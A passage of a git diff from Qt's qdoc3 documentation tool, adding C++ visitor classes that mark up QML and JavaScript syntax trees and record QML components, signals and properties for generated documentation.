+ for (QDeclarativeJS::AST::ElementList *it = list; it; it = it->next) {
+ QDeclarativeJS::AST::Node::accept(it->expression, this);
+ //addVerbatim(it->commaToken);
+ }
+ QDeclarativeJS::AST::Node::accept(list->elision, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Elision *elision)
+{
+ addVerbatim(elision->commaToken, elision->commaToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list)
+{
+ QDeclarativeJS::AST::Node::accept(list->name, this);
+ addVerbatim(list->colonToken, list->colonToken);
+ QDeclarativeJS::AST::Node::accept(list->value, this);
+ addVerbatim(list->commaToken, list->commaToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *expression)
+{
+ QDeclarativeJS::AST::Node::accept(expression->base, this);
+ addVerbatim(expression->lbracketToken);
+ QDeclarativeJS::AST::Node::accept(expression->expression, this);
+ addVerbatim(expression->rbracketToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *expression)
+{
+ QDeclarativeJS::AST::Node::accept(expression->base, this);
+ addVerbatim(expression->dotToken);
+ addMarkedUpToken(expression->identifierToken, QLatin1String("name"));
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expression)
+{
+ addVerbatim(expression->newToken);
+ QDeclarativeJS::AST::Node::accept(expression->base, this);
+ addVerbatim(expression->lparenToken);
+ QDeclarativeJS::AST::Node::accept(expression->arguments, this);
+ addVerbatim(expression->rparenToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewExpression *expression)
+{
+ addVerbatim(expression->newToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArgumentList *list)
+{
+ addVerbatim(list->commaToken, list->commaToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostIncrementExpression *expression)
+{
+ addVerbatim(expression->incrementToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostDecrementExpression *expression)
+{
+ addVerbatim(expression->decrementToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DeleteExpression *expression)
+{
+ addVerbatim(expression->deleteToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VoidExpression *expression)
+{
+ addVerbatim(expression->voidToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TypeOfExpression *expression)
+{
+ addVerbatim(expression->typeofToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreIncrementExpression *expression)
+{
+ addVerbatim(expression->incrementToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreDecrementExpression *expression)
+{
+ addVerbatim(expression->decrementToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryPlusExpression *expression)
+{
+ addVerbatim(expression->plusToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryMinusExpression *expression)
+{
+ addVerbatim(expression->minusToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TildeExpression *expression)
+{
+ addVerbatim(expression->tildeToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NotExpression *expression)
+{
+ addVerbatim(expression->notToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression)
+{
+ QDeclarativeJS::AST::Node::accept(expression->left, this);
+ addMarkedUpToken(expression->operatorToken, QLatin1String("op"));
+ QDeclarativeJS::AST::Node::accept(expression->right, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ConditionalExpression *expression)
+{
+ QDeclarativeJS::AST::Node::accept(expression->expression, this);
+ addVerbatim(expression->questionToken);
+ QDeclarativeJS::AST::Node::accept(expression->ok, this);
+ addVerbatim(expression->colonToken);
+ QDeclarativeJS::AST::Node::accept(expression->ko, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression)
+{
+ QDeclarativeJS::AST::Node::accept(expression->left, this);
+ addVerbatim(expression->commaToken);
+ QDeclarativeJS::AST::Node::accept(expression->right, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block)
+{
+ addVerbatim(block->lbraceToken);
+ return true;
+}
+
+void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Block *block)
+{
+ addVerbatim(block->rbraceToken);
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableStatement *statement)
+{
+ addVerbatim(statement->declarationKindToken);
+ QDeclarativeJS::AST::Node::accept(statement->declarations, this);
+ addVerbatim(statement->semicolonToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list)
+{
+ for (QDeclarativeJS::AST::VariableDeclarationList *it = list; it; it = it->next) {
+ QDeclarativeJS::AST::Node::accept(it->declaration, this);
+ addVerbatim(it->commaToken);
+ }
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declaration)
+{
+ addMarkedUpToken(declaration->identifierToken, QLatin1String("name"));
+ QDeclarativeJS::AST::Node::accept(declaration->expression, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::EmptyStatement *statement)
+{
+ addVerbatim(statement->semicolonToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ExpressionStatement *statement)
+{
+ QDeclarativeJS::AST::Node::accept(statement->expression, this);
+ addVerbatim(statement->semicolonToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement)
+{
+ addMarkedUpToken(statement->ifToken, QLatin1String("keyword"));
+ addVerbatim(statement->lparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->expression, this);
+ addVerbatim(statement->rparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->ok, this);
+ if (statement->ko) {
+ addMarkedUpToken(statement->elseToken, QLatin1String("keyword"));
+ QDeclarativeJS::AST::Node::accept(statement->ko, this);
+ }
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement)
+{
+ addMarkedUpToken(statement->doToken, QLatin1String("keyword"));
+ QDeclarativeJS::AST::Node::accept(statement->statement, this);
+ addMarkedUpToken(statement->whileToken, QLatin1String("keyword"));
+ addVerbatim(statement->lparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->expression, this);
+ addVerbatim(statement->rparenToken);
+ addVerbatim(statement->semicolonToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WhileStatement *statement)
+{
+ addMarkedUpToken(statement->whileToken, QLatin1String("keyword"));
+ addVerbatim(statement->lparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->expression, this);
+ addVerbatim(statement->rparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->statement, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement)
+{
+ addMarkedUpToken(statement->forToken, QLatin1String("keyword"));
+ addVerbatim(statement->lparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->initialiser, this);
+ addVerbatim(statement->firstSemicolonToken);
+ QDeclarativeJS::AST::Node::accept(statement->condition, this);
+ addVerbatim(statement->secondSemicolonToken);
+ QDeclarativeJS::AST::Node::accept(statement->expression, this);
+ addVerbatim(statement->rparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->statement, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement)
+{
+ addMarkedUpToken(statement->forToken, QLatin1String("keyword"));
+ addVerbatim(statement->lparenToken);
+ addMarkedUpToken(statement->varToken, QLatin1String("keyword"));
+ QDeclarativeJS::AST::Node::accept(statement->declarations, this);
+ addVerbatim(statement->firstSemicolonToken);
+ QDeclarativeJS::AST::Node::accept(statement->condition, this);
+ addVerbatim(statement->secondSemicolonToken);
+ QDeclarativeJS::AST::Node::accept(statement->expression, this);
+ addVerbatim(statement->rparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->statement, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement)
+{
+ addMarkedUpToken(statement->forToken, QLatin1String("keyword"));
+ addVerbatim(statement->lparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->initialiser, this);
+ addVerbatim(statement->inToken);
+ QDeclarativeJS::AST::Node::accept(statement->expression, this);
+ addVerbatim(statement->rparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->statement, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *statement)
+{
+ addMarkedUpToken(statement->forToken, QLatin1String("keyword"));
+ addVerbatim(statement->lparenToken);
+ addMarkedUpToken(statement->varToken, QLatin1String("keyword"));
+ QDeclarativeJS::AST::Node::accept(statement->declaration, this);
+ addVerbatim(statement->inToken);
+ QDeclarativeJS::AST::Node::accept(statement->expression, this);
+ addVerbatim(statement->rparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->statement, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement)
+{
+ addMarkedUpToken(statement->continueToken, QLatin1String("keyword"));
+ addMarkedUpToken(statement->identifierToken, QLatin1String("name"));
+ addVerbatim(statement->semicolonToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement)
+{
+ addMarkedUpToken(statement->breakToken, QLatin1String("keyword"));
+ addMarkedUpToken(statement->identifierToken, QLatin1String("name"));
+ addVerbatim(statement->semicolonToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement)
+{
+ addMarkedUpToken(statement->returnToken, QLatin1String("keyword"));
+ QDeclarativeJS::AST::Node::accept(statement->expression, this);
+ addVerbatim(statement->semicolonToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement)
+{
+ addMarkedUpToken(statement->withToken, QLatin1String("keyword"));
+ addVerbatim(statement->lparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->expression, this);
+ addVerbatim(statement->rparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->statement, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseBlock *block)
+{
+ addVerbatim(block->lbraceToken);
+ return true;
+}
+
+void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseBlock *block)
+{
+ addVerbatim(block->rbraceToken, block->rbraceToken);
+}
+
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement)
+{
+ addMarkedUpToken(statement->switchToken, QLatin1String("keyword"));
+ addVerbatim(statement->lparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->expression, this);
+ addVerbatim(statement->rparenToken);
+ QDeclarativeJS::AST::Node::accept(statement->block, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause)
+{
+ addMarkedUpToken(clause->caseToken, QLatin1String("keyword"));
+ QDeclarativeJS::AST::Node::accept(clause->expression, this);
+ addVerbatim(clause->colonToken);
+ QDeclarativeJS::AST::Node::accept(clause->statements, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause)
+{
+ addMarkedUpToken(clause->defaultToken, QLatin1String("keyword"));
+ addVerbatim(clause->colonToken, clause->colonToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement)
+{
+ addMarkedUpToken(statement->identifierToken, QLatin1String("name"));
+ addVerbatim(statement->colonToken);
+ QDeclarativeJS::AST::Node::accept(statement->statement, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement)
+{
+ addMarkedUpToken(statement->throwToken, QLatin1String("keyword"));
+ QDeclarativeJS::AST::Node::accept(statement->expression, this);
+ addVerbatim(statement->semicolonToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c)
+{
+ addMarkedUpToken(c->catchToken, QLatin1String("keyword"));
+ addVerbatim(c->lparenToken);
+ addMarkedUpToken(c->identifierToken, QLatin1String("name"));
+ addVerbatim(c->rparenToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f)
+{
+ addMarkedUpToken(f->finallyToken, QLatin1String("keyword"));
+ QDeclarativeJS::AST::Node::accept(f->statement, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement)
+{
+ addMarkedUpToken(statement->tryToken, QLatin1String("keyword"));
+ QDeclarativeJS::AST::Node::accept(statement->statement, this);
+ QDeclarativeJS::AST::Node::accept(statement->catchExpression, this);
+ QDeclarativeJS::AST::Node::accept(statement->finallyExpression, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression)
+{
+ addMarkedUpToken(expression->functionToken, QLatin1String("keyword"));
+ addMarkedUpToken(expression->identifierToken, QLatin1String("name"));
+ addVerbatim(expression->lparenToken);
+ QDeclarativeJS::AST::Node::accept(expression->formals, this);
+ addVerbatim(expression->rparenToken);
+ addVerbatim(expression->lbraceToken);
+ QDeclarativeJS::AST::Node::accept(expression->body, this);
+ addVerbatim(expression->rbraceToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declaration)
+{
+ addMarkedUpToken(declaration->functionToken, QLatin1String("keyword"));
+ addMarkedUpToken(declaration->identifierToken, QLatin1String("name"));
+ addVerbatim(declaration->lparenToken);
+ QDeclarativeJS::AST::Node::accept(declaration->formals, this);
+ addVerbatim(declaration->rparenToken);
+ addVerbatim(declaration->lbraceToken);
+ QDeclarativeJS::AST::Node::accept(declaration->body, this);
+ addVerbatim(declaration->rbraceToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list)
+{
+ addVerbatim(list->commaToken);
+ addMarkedUpToken(list->identifierToken, QLatin1String("name"));
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement)
+{
+ addVerbatim(statement->debuggerToken);
+ addVerbatim(statement->semicolonToken);
+ return true;
+}
+
+// Elements and items are represented by UiObjectDefinition nodes.
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition)
+{
+ QHash<QString, QString> attributes;
+ addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("type"));
+ QDeclarativeJS::AST::Node::accept(definition->initializer, this);
+ return false;
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h
new file mode 100644
index 0000000..709a858
--- /dev/null
+++ b/tools/qdoc3/qmlmarkupvisitor.h
@@ -0,0 +1,182 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QMLVISITOR_H
+#define QMLVISITOR_H
+
+#include <QString>
+#include "private/qdeclarativejsastvisitor_p.h"
+#include "node.h"
+#include "tree.h"
+
+QT_BEGIN_NAMESPACE
+
+class QmlMarkupVisitor : public QDeclarativeJS::AST::Visitor
+{
+public:
+ enum ExtraType{
+ Comment,
+ Pragma
+ };
+
+ QmlMarkupVisitor(const QString &code,
+ const QList<QDeclarativeJS::AST::SourceLocation> &pragmas,
+ QDeclarativeJS::Engine *engine);
+ virtual ~QmlMarkupVisitor();
+
+ QString markedUpCode();
+
+ virtual bool visit(QDeclarativeJS::AST::UiImport *);
+ virtual void endVisit(QDeclarativeJS::AST::UiImport *);
+
+ virtual bool visit(QDeclarativeJS::AST::UiPublicMember *);
+ virtual bool visit(QDeclarativeJS::AST::UiObjectDefinition *);
+
+ virtual bool visit(QDeclarativeJS::AST::UiObjectInitializer *);
+ virtual void endVisit(QDeclarativeJS::AST::UiObjectInitializer *);
+
+ virtual bool visit(QDeclarativeJS::AST::UiObjectBinding *);
+ virtual bool visit(QDeclarativeJS::AST::UiScriptBinding *);
+ virtual bool visit(QDeclarativeJS::AST::UiArrayBinding *);
+ virtual bool visit(QDeclarativeJS::AST::UiArrayMemberList *);
+ virtual bool visit(QDeclarativeJS::AST::UiQualifiedId *);
+
+ virtual bool visit(QDeclarativeJS::AST::UiSignature *);
+ virtual void endVisit(QDeclarativeJS::AST::UiSignature *);
+
+ virtual bool visit(QDeclarativeJS::AST::UiFormal *);
+ virtual bool visit(QDeclarativeJS::AST::ThisExpression *);
+ virtual bool visit(QDeclarativeJS::AST::IdentifierExpression *);
+ virtual bool visit(QDeclarativeJS::AST::NullExpression *);
+ virtual bool visit(QDeclarativeJS::AST::TrueLiteral *);
+ virtual bool visit(QDeclarativeJS::AST::FalseLiteral *);
+ virtual bool visit(QDeclarativeJS::AST::NumericLiteral *);
+ virtual bool visit(QDeclarativeJS::AST::StringLiteral *);
+ virtual bool visit(QDeclarativeJS::AST::RegExpLiteral *);
+ virtual bool visit(QDeclarativeJS::AST::ArrayLiteral *);
+
+ virtual bool visit(QDeclarativeJS::AST::ObjectLiteral *);
+ virtual void endVisit(QDeclarativeJS::AST::ObjectLiteral *);
+
+ virtual bool visit(QDeclarativeJS::AST::ElementList *);
+ virtual bool visit(QDeclarativeJS::AST::Elision *);
+ virtual bool visit(QDeclarativeJS::AST::PropertyNameAndValueList *);
+ virtual bool visit(QDeclarativeJS::AST::ArrayMemberExpression *);
+ virtual bool visit(QDeclarativeJS::AST::FieldMemberExpression *);
+ virtual bool visit(QDeclarativeJS::AST::NewMemberExpression *);
+ virtual bool visit(QDeclarativeJS::AST::NewExpression *);
+ virtual bool visit(QDeclarativeJS::AST::ArgumentList *);
+ virtual bool visit(QDeclarativeJS::AST::PostIncrementExpression *);
+ virtual bool visit(QDeclarativeJS::AST::PostDecrementExpression *);
+ virtual bool visit(QDeclarativeJS::AST::DeleteExpression *);
+ virtual bool visit(QDeclarativeJS::AST::VoidExpression *);
+ virtual bool visit(QDeclarativeJS::AST::TypeOfExpression *);
+ virtual bool visit(QDeclarativeJS::AST::PreIncrementExpression *);
+ virtual bool visit(QDeclarativeJS::AST::PreDecrementExpression *);
+ virtual bool visit(QDeclarativeJS::AST::UnaryPlusExpression *);
+ virtual bool visit(QDeclarativeJS::AST::UnaryMinusExpression *);
+ virtual bool visit(QDeclarativeJS::AST::TildeExpression *);
+ virtual bool visit(QDeclarativeJS::AST::NotExpression *);
+ virtual bool visit(QDeclarativeJS::AST::BinaryExpression *);
+ virtual bool visit(QDeclarativeJS::AST::ConditionalExpression *);
+ virtual bool visit(QDeclarativeJS::AST::Expression *);
+
+ virtual bool visit(QDeclarativeJS::AST::Block *);
+ virtual void endVisit(QDeclarativeJS::AST::Block *);
+
+ virtual bool visit(QDeclarativeJS::AST::VariableStatement *);
+ virtual bool visit(QDeclarativeJS::AST::VariableDeclarationList *);
+ virtual bool visit(QDeclarativeJS::AST::VariableDeclaration *);
+ virtual bool visit(QDeclarativeJS::AST::EmptyStatement *);
+ virtual bool visit(QDeclarativeJS::AST::ExpressionStatement *);
+ virtual bool visit(QDeclarativeJS::AST::IfStatement *);
+ virtual bool visit(QDeclarativeJS::AST::DoWhileStatement *);
+ virtual bool visit(QDeclarativeJS::AST::WhileStatement *);
+ virtual bool visit(QDeclarativeJS::AST::ForStatement *);
+ virtual bool visit(QDeclarativeJS::AST::LocalForStatement *);
+ virtual bool visit(QDeclarativeJS::AST::ForEachStatement *);
+ virtual bool visit(QDeclarativeJS::AST::LocalForEachStatement *);
+ virtual bool visit(QDeclarativeJS::AST::ContinueStatement *);
+ virtual bool visit(QDeclarativeJS::AST::BreakStatement *);
+ virtual bool visit(QDeclarativeJS::AST::ReturnStatement *);
+ virtual bool visit(QDeclarativeJS::AST::WithStatement *);
+
+ virtual bool visit(QDeclarativeJS::AST::CaseBlock *);
+ virtual void endVisit(QDeclarativeJS::AST::CaseBlock *);
+
+ virtual bool visit(QDeclarativeJS::AST::SwitchStatement *);
+ virtual bool visit(QDeclarativeJS::AST::CaseClause *);
+ virtual bool visit(QDeclarativeJS::AST::DefaultClause *);
+ virtual bool visit(QDeclarativeJS::AST::LabelledStatement *);
+ virtual bool visit(QDeclarativeJS::AST::ThrowStatement *);
+ virtual bool visit(QDeclarativeJS::AST::TryStatement *);
+ virtual bool visit(QDeclarativeJS::AST::Catch *);
+ virtual bool visit(QDeclarativeJS::AST::Finally *);
+ virtual bool visit(QDeclarativeJS::AST::FunctionDeclaration *);
+ virtual bool visit(QDeclarativeJS::AST::FunctionExpression *);
+ virtual bool visit(QDeclarativeJS::AST::FormalParameterList *);
+ virtual bool visit(QDeclarativeJS::AST::DebuggerStatement *);
+
+protected:
+ QString protect(const QString &string);
+
+private:
+ typedef QHash<QString, QString> StringHash;
+ void addExtra(quint32 start, quint32 finish);
+ void addMarkedUpToken(QDeclarativeJS::AST::SourceLocation &location,
+ const QString &text,
+ const StringHash &attributes = StringHash());
+ void addVerbatim(QDeclarativeJS::AST::SourceLocation first,
+ QDeclarativeJS::AST::SourceLocation last = QDeclarativeJS::AST::SourceLocation());
+ QString sourceText(QDeclarativeJS::AST::SourceLocation &location);
+
+ QDeclarativeJS::Engine *engine;
+ QList<ExtraType> extraTypes;
+ QList<QDeclarativeJS::AST::SourceLocation> extraLocations;
+ QString source;
+ QString output;
+ quint32 cursor;
+ int extraIndex;
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/tools/qdoc3/qmlvisitor.cpp b/tools/qdoc3/qmlvisitor.cpp
new file mode 100644
index 0000000..9295624
--- /dev/null
+++ b/tools/qdoc3/qmlvisitor.cpp
@@ -0,0 +1,221 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QFileInfo>
+#include <QStringList>
+#include <QtGlobal>
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsastfwd_p.h"
+#include "private/qdeclarativejsengine_p.h"
+
+#include "node.h"
+#include "qmlvisitor.h"
+
+QT_BEGIN_NAMESPACE
+
+QmlDocVisitor::QmlDocVisitor(const QString &filePath, const QString &code,
+ QDeclarativeJS::Engine *engine, Tree *tree, QSet<QString> &commands)
+{
+ this->filePath = filePath;
+ this->name = QFileInfo(filePath).baseName();
+ document = code;
+ this->engine = engine;
+ this->tree = tree;
+ this->commands = commands;
+ current = tree->root();
+}
+
+QmlDocVisitor::~QmlDocVisitor()
+{
+}
+
+QDeclarativeJS::AST::SourceLocation QmlDocVisitor::precedingComment(unsigned offset) const
+{
+ QDeclarativeJS::AST::SourceLocation currentLoc;
+
+ foreach (const QDeclarativeJS::AST::SourceLocation &loc, engine->comments()) {
+ if (loc.begin() > lastEndOffset && loc.end() < offset)
+ currentLoc = loc;
+ else
+ break;
+ }
+ if (currentLoc.isValid()) {
+ QString comment = document.mid(currentLoc.offset, currentLoc.length);
+ if (comment.startsWith("!") || comment.startsWith("*"))
+ return currentLoc;
+ }
+
+ return QDeclarativeJS::AST::SourceLocation();
+}
+
+void QmlDocVisitor::applyDocumentation(QDeclarativeJS::AST::SourceLocation location,
+ Node *node)
+{
+ QDeclarativeJS::AST::SourceLocation loc = precedingComment(location.begin());
+
+ if (loc.isValid()) {
+ QString source = document.mid(loc.offset, loc.length);
+ if (source.startsWith(QLatin1String("!")) ||
+ (source.startsWith(QLatin1String("*")) &&
+ source[1] != QLatin1Char('*'))) {
+
+ Location start(filePath);
+ start.setLineNo(loc.startLine);
+ start.setColumnNo(loc.startColumn);
+ Location finish(filePath);
+ finish.setLineNo(loc.startLine);
+ finish.setColumnNo(loc.startColumn);
+
+ Doc doc(start, finish, source.mid(1), commands);
+ node->setDoc(doc);
+ }
+ }
+}
+
+/*!
+ Visits element definitions, recording them in a tree structure.
+*/
+bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition)
+{
+ QString type = definition->qualifiedTypeNameId->name->asString();
+
+ if (current->type() == Node::Namespace) {
+ QmlClassNode *component = new QmlClassNode(current, name, 0);
+ component->setTitle(QLatin1String("QML ") + name + QLatin1String(" Component"));
+
+ QmlClassNode::addInheritedBy(type, component);
+ component->setLink(Node::InheritsLink, type, type);
+
+ applyDocumentation(definition->firstSourceLocation(), component);
+
+ current = component;
+ }
+
+ return true;
+}
+
+void QmlDocVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *definition)
+{
+ lastEndOffset = definition->lastSourceLocation().end();
+}
+
+bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiImportList *imports)
+{
+ // Note that the imports list can be traversed by iteration to obtain
+ // all the imports in the document at once, having found just one:
+ // *it = imports; it; it = it->next
+
+ QString module = document.mid(imports->import->fileNameToken.offset,
+ imports->import->fileNameToken.length);
+ QString version = document.mid(imports->import->versionToken.offset,
+ imports->import->versionToken.length);
+ importList.append(QPair<QString, QString>(module, version));
+
+ return true;
+}
+
+/*!
+ Visits public member declarations, such as signals and properties.
+ These only include custom signals and properties.
+*/
+bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member)
+{
+ switch (member->type) {
+ case QDeclarativeJS::AST::UiPublicMember::Signal:
+ {
+ if (current->type() == Node::Fake) {
+ QmlClassNode *qmlClass = static_cast<QmlClassNode *>(current);
+ if (qmlClass) {
+
+ QString name = member->name->asString();
+ FunctionNode *qmlSignal = new FunctionNode(Node::QmlSignal, current, name, false);
+
+ QList<Parameter> parameters;
+ for (QDeclarativeJS::AST::UiParameterList *it = member->parameters; it; it = it->next) {
+ if (it->type && it->name)
+ parameters.append(Parameter(it->type->asString(), "", it->name->asString()));
+ }
+
+ qmlSignal->setParameters(parameters);
+ applyDocumentation(member->firstSourceLocation(), qmlSignal);
+ }
+ }
+ break;
+ }
+ case QDeclarativeJS::AST::UiPublicMember::Property:
+ {
+ QString type = member->memberType->asString();
+ QString name = member->name->asString();
+
+ if (current->type() == Node::Fake) {
+ QmlClassNode *qmlClass = static_cast<QmlClassNode *>(current);
+ if (qmlClass) {
+
+ QString name = member->name->asString();
+ QmlPropGroupNode *qmlPropGroup = new QmlPropGroupNode(qmlClass, name, false);
+ if (member->isDefaultMember)
+ qmlPropGroup->setDefault();
+ QmlPropertyNode *qmlPropNode = new QmlPropertyNode(qmlPropGroup, name, type, false);
+ qmlPropNode->setWritable(!member->isReadonlyMember);
+ applyDocumentation(member->firstSourceLocation(), qmlPropNode);
+ }
+ }
+ break;
+ }
+ default:
+ return false;
+ }
+
+ //current->doc = precedingComment(member->firstSourceLocation().begin());
+ return true;
+}
+
+void QmlDocVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *definition)
+{
+ lastEndOffset = definition->lastSourceLocation().end();
+}
+
+bool QmlDocVisitor::visit(QDeclarativeJS::AST::IdentifierPropertyName *idproperty)
+{
+ return true;
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/cpptoqsconverter.h b/tools/qdoc3/qmlvisitor.h
